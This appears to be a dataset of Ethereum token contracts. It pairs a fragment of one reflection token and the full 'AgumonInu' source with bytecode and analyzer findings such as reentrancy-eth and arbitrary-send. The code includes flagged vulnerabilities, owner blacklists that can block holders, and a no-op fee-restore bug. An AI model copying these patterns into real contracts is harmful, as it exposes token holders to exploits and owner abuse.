uint priceImpactLimit = balanceOf(uniswapV2Pair).mul(5).div(100);
if (!inSwap && from != uniswapV2Pair && swapEnabled ) {
require(cooldown[from] < block.timestamp);
require(amount <= priceImpactLimit);
if(contractTokenBalance >= priceImpactLimit){
contractTokenBalance = priceImpactLimit;
}
swapLiquidityMarketing(contractTokenBalance);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function removeAllFee() private {
if (_reflection == 0 && _teamFee == 0) return;
_reflection = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_reflection = 3;
_teamFee = 7;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 amount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(amount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _reflection, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function swapLiquidityMarketing(uint256 contractTokenBalance) private lockTheSwap {
uint256 tokensForSwapping = contractTokenBalance.div(14).mul(11);
uint256 tokensForPairing = contractTokenBalance.sub(tokensForSwapping);
uint256 initialBalance = address(this).balance;
swapTokensForEth(tokensForSwapping);
uint256 newBalance = address(this).balance.sub(initialBalance);
uint ethForLiquidity = newBalance.mul(3).div(11);
uint marketingETH = newBalance.mul(4).div(11);
_market.transfer(marketingETH);
_dev1.transfer(ethForLiquidity);
_dev2.transfer(ethForLiquidity.div(3));
_addLiquidity(tokensForPairing, ethForLiquidity);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(address(this),tokenAmount,0,0,address(this),block.timestamp);
}
receive() external payable {}
}
|
0x6080604052600436106101185760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103af578063c73dc4fc146103e8578063d543dbeb14610423578063dd62ed3e1461044d578063e8078d94146104885761011f565b806370a08231146103285780637a32bae41461035b5780638a8c523c146103705780638da5cb5b1461038557806395d89b411461039a5761011f565b8063313ce567116100e7578063313ce567146102655780633898e4a31461029057806349bd5a5e146102cd57806351bc3c85146102fe5780636ddd1713146103135761011f565b806306fdde0314610124578063095ea7b3146101ae57806318160ddd146101fb57806323b872dd146102225761011f565b3661011f57005b600080fd5b34801561013057600080fd5b5061013961049d565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017357818101518382015260200161015b565b50505050905090810190601f1680156101a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ba57600080fd5b506101e7600480360360408110156101d157600080fd5b506001600160a01b0381351690602001356104bf565b604080519115158252519081900360200190f35b34801561020757600080fd5b506102106104dd565b60408051918252519081900360200190f35b34801561022e57600080fd5b506101e76004803603606081101561024557600080fd5b506001600160a01b038135811691602081013590911690604001356104e3565b34801561027157600080fd5b5061027a61056a565b6040805160ff9092168252519081900360200190f35b34801561029c57600080fd5b506102cb600480360360408110156102b357600080fd5b506001600160a01b038135169060200135151561056f565b005b3480156102d957600080fd5b506102e26105f2565b604080516001600160a01b039092168252519081900360200190f35b34801561030a57600080fd5b506102cb610601565b34801561031f57600080fd5b506101e7610672565b34801561033457600080fd5b506102106004803603602081101561034b57600080fd5b50356001600160a01b0316610682565b34801561036757600080fd5b506101e76106a4565b34801561037c57600080fd5b506102cb6106b4565b34801561039157600080fd5b506102e2610737565b3480156103a657600080fd5b50610139610746565b3480156103bb57600080fd5b506101e7600480360360408110156103d257600080fd5b506001600160a01b038135169060200135610765565b3480156103f457600080fd5b506102cb6004803603604081101561040b57600080fd5b506001600160a01b0381351690602001351515610779565b34801561042f57600080fd5b506102cb6004803603602081101561044657600080fd5b50356107fc565b34801561045957600080fd5b506102106004803603604081101561047057600080fd5b506001600160a01b0381358116916020013516610903565b34801561049457600080fd5b506102cb61092e565b604080518082019091526008815267546573744f6e6c7960c01b602082015290565b60006104d36104cc610caf565b8484610cb3565b5060015b92915050565b60045490565b60006104f0848484610d9f565b610560846104fc610caf565b61055b85604051806060016040528060288152602001611b52602891396001600160a01b038a1660009081526007602052604081209061053a610caf565b6001600160a01b031681526020810191909152604001600020549190611154565b610cb3565b5060019392505050565b600990565b610577610caf565b6000546001600160a01b039081169116146105c7576040805162461bcd60e51b81526020600482018190526024820152600080516020611b7a833981519152604482015290519081900360640190fd5b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b600f546001600160a01b031681565b610609610caf565b6000546001600160a01b03908116911614610659576040805162461bcd60e51b81526020600482018190526024820152600080516020611b7a833981519152604482015290519081900360640190fd5b600061066430610682565b905061066f816111eb565b50565b600f54600160b81b900460ff1681565b6001600160a01b0381166000908152600260205260408120546104d790611338565b600f54600160a01b900460ff1681565b6106bc610caf565b6000546001600160a01b0390811691161461070c576040805162461bcd60e51b81526020600482018190526024820152600080516020611b7a833981519152604482015290519081900360640190fd5b600f54600160a81b900460ff1661072257600080fd5b600f805460ff60a01b1916600160a01b179055565b6000546001600160a01b031690565b6040805180820190915260058152644e4f42555960d81b602082015290565b60006104d3610772610caf565b8484610d9f565b610781610caf565b6000546001600160a01b039081169116146107d1576040805162461bcd60e51b81526020600482018190526024820152600080516020611b7a833981519152604482015290519081900360640190fd5b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b610804610caf565b6000546001600160a01b03908116911614610854576040805162461bcd60e51b81526020600482018190526024820152600080516020611b7a833981519152604482015290519081900360640190fd5b600081116108a9576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b6108c960646108c38360045461139890919063ffffffff16565b906113f1565b601081905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b610936610caf565b6000546001600160a01b03908116911614610986576040805162461bcd60e51b81526020600482018190526024820152600080516020611b7a833981519152604482015290519081900360640190fd5b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905560045490916109ca9130916001600160a01b031690610cb3565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a0357600080fd5b505afa158015610a17573d6000803e3d6000fd5b505050506040513d6020811015610a2d57600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610a7d57600080fd5b505afa158015610a91573d6000803e3d6000fd5b505050506040513d6020811015610aa757600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610af957600080fd5b505af1158015610b0d573d6000803e3d6000fd5b505050506040513d6020811015610b2357600080fd5b5051600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610b5581610682565b600080610b60610737565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610bcb57600080fd5b505af1158015610bdf573d6000803e3d6000fd5b50505050506040513d6060811015610bf657600080fd5b5050600f805460ff60a81b1960ff60b81b19909116600160b81b1716600160a81b17908190556801158e460913d00000601055600e546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610c8057600080fd5b505af1158015610c94573d6000803e3d6000fd5b505050506040513d6020811015610caa57600080fd5b505050565b3390565b6001600160a01b038316610cf85760405162461bcd60e51b8152600401808060200182810382526024815260200180611be86024913960400191505060405180910390fd5b6001600160a01b038216610d3d5760405162461bcd60e51b8152600401808060200182810382526022815260200180611b0f6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260076020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610de45760405162461bcd60e51b8152600401808060200182810382526025815260200180611bc36025913960400191505060405180910390fd5b6001600160a01b038216610e295760405162461bcd60e51b8152600401808060200182810382526023815260200180611ac26023913960400191505060405180910390fd5b60008111610e685760405162461bcd60e51b8152600401808060200182810382526029815260200180611b9a6029913960400191505060405180910390fd5b6001600160a01b03831660009081526009602052604090205460ff16158015610eaa57506001600160a01b03821660009081526009602052604090205460ff16155b8015610ec657503260009081526009602052604090205460ff16155b610f10576040805162461bcd60e51b815260206004820152601660248201527541706573206f6e6c792c206e6f2062616420626f747360501b604482015290519081900360640190fd5b6001600160a01b03821660009081526008602052604090205460ff16158015610f5257506001600160a01b03831660009081526008602052604090205460ff16155b156110f757600f546001600160a01b038481169116148015610f825750600e546001600160a01b03838116911614155b1561103357600f54600160a01b900460ff16610f9d57600080fd5b6001600160a01b0382166000908152600a60205260409020544211610fc157600080fd5b6000610fcc83610682565b9050610fef6003610fe960646004546113f190919063ffffffff16565b90611398565b610ff98383611433565b111561100457600080fd5b60105482111561101357600080fd5b506001600160a01b0382166000908152600a60205260409020601e420190555b600061103e30610682565b9050600061106a60646108c36005610fe9600f60009054906101000a90046001600160a01b0316610682565b600f54909150600160b01b900460ff161580156110955750600f546001600160a01b03868116911614155b80156110aa5750600f54600160b81b900460ff165b156110f4576001600160a01b0385166000908152600a602052604090205442116110d357600080fd5b808311156110e057600080fd5b8082106110eb578091505b6110f4826111eb565b50505b6001600160a01b03831660009081526008602052604090205460019060ff168061113957506001600160a01b03831660009081526008602052604090205460ff165b15611142575060005b61114e8484848461148d565b50505050565b600081848411156111e35760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156111a8578181015183820152602001611190565b50505050905090810190601f1680156111d55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600f805460ff60b01b1916600160b01b1790556000611210600b610fe984600e6113f1565b9050600061121e83836114b9565b90504761122a836114fb565b600061123647836114b9565b9050600061124a600b6108c3846003611398565b9050600061125e600b6108c3856004611398565b600b546040519192506001600160a01b03169082156108fc029083906000818181858888f19350505050158015611299573d6000803e3d6000fd5b50600c546040516001600160a01b039091169083156108fc029084906000818181858888f193505050501580156112d4573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6112ef8460036113f1565b6040518115909202916000818181858888f19350505050158015611317573d6000803e3d6000fd5b5061132285836116ca565b5050600f805460ff60b01b191690555050505050565b600060055482111561137b5760405162461bcd60e51b815260040180806020018281038252602a815260200180611ae5602a913960400191505060405180910390fd5b600061138561177c565b905061139183826113f1565b9392505050565b6000826113a7575060006104d7565b828202828482816113b457fe5b04146113915760405162461bcd60e51b8152600401808060200182810382526021815260200180611b316021913960400191505060405180910390fd5b600061139183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061179f565b600082820183811015611391576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b8061149a5761149a611804565b6114a584848461182b565b8061114e5761114e60036011556007601255565b600061139183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611154565b600f805460ff60b01b1916600160b01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061153d57fe5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561159157600080fd5b505afa1580156115a5573d6000803e3d6000fd5b505050506040513d60208110156115bb57600080fd5b50518151829060019081106115cc57fe5b6001600160a01b039283166020918202929092010152600e546115f29130911684610cb3565b600e5460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b83811015611678578181015183820152602001611660565b505050509050019650505050505050600060405180830381600087803b1580156116a157600080fd5b505af11580156116b5573d6000803e3d6000fd5b5050600f805460ff60b01b1916905550505050565b600e546116e29030906001600160a01b031684610cb3565b600e546040805163f305d71960e01b8152306004820181905260248201869052600060448301819052606483015260848201524260a482015290516001600160a01b039092169163f305d71991849160c480830192606092919082900301818588803b15801561175157600080fd5b505af1158015611765573d6000803e3d6000fd5b50505050506040513d606081101561114e57600080fd5b6000806000611789611920565b909250905061179882826113f1565b9250505090565b600081836117ee5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156111a8578181015183820152602001611190565b5060008385816117fa57fe5b0495945050505050565b6011541580156118145750601254155b1561181e57611829565b600060118190556012555b565b60008060008060008061183d87611957565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061186f90876114b9565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461189e9086611433565b6001600160a01b0389166000908152600260205260409020556118c0816119b4565b6118ca84836119fe565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600554600454600091829161193582826113f1565b82101561194d57600554600454935093505050611953565b90925090505b9091565b60008060008060008060008060006119748a601154601254611a22565b925092509250600061198461177c565b905060008060006119978e878787611a71565b919e509c509a509598509396509194505050505091939550919395565b60006119be61177c565b905060006119cc8383611398565b306000908152600260205260409020549091506119e99082611433565b30600090815260026020526040902055505050565b600554611a0b90836114b9565b600555600654611a1b9082611433565b6006555050565b6000808080611a3660646108c38989611398565b90506000611a4960646108c38a89611398565b90506000611a6182611a5b8b866114b9565b906114b9565b9992985090965090945050505050565b6000808080611a808886611398565b90506000611a8e8887611398565b90506000611a9c8888611398565b90506000611aae82611a5b86866114b9565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212202677c00acce417de76e0248dd34ac15ec758f4eb7ed87b6ce26c3fbfd33074e364736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,723 |
0xf19fd9e7a8c7cea87e5b5375085107fe97dd9263
|
/**
AgumonInu
Website: https://aguinu.com/
Telegram: https://t.me/AgumonInu
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract AgumonInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 500000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "AgumonInu";
string private constant _symbol = "AgumonInu";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xF7856d947cd55434DE660Bcf752c31e6c33998D0);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(15).div(1000);
_maxWalletSize = _tTotal.mul(30).div(1000);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612763565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c919061282d565b6104b4565b60405161018e9190612888565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b991906128b2565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612a15565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a5e565b61060c565b60405161021f9190612888565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612ab1565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190612afa565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612b41565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b6e565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612ab1565b6109db565b60405161031991906128b2565b60405180910390f35b34801561032e57600080fd5b50610337610a2c565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612baa565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612763565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c8919061282d565b610c9a565b6040516103da9190612888565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b6e565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600080fd5b50610461600480360381019061045c9190612bc5565b611378565b60405161046e91906128b2565b60405180910390f35b606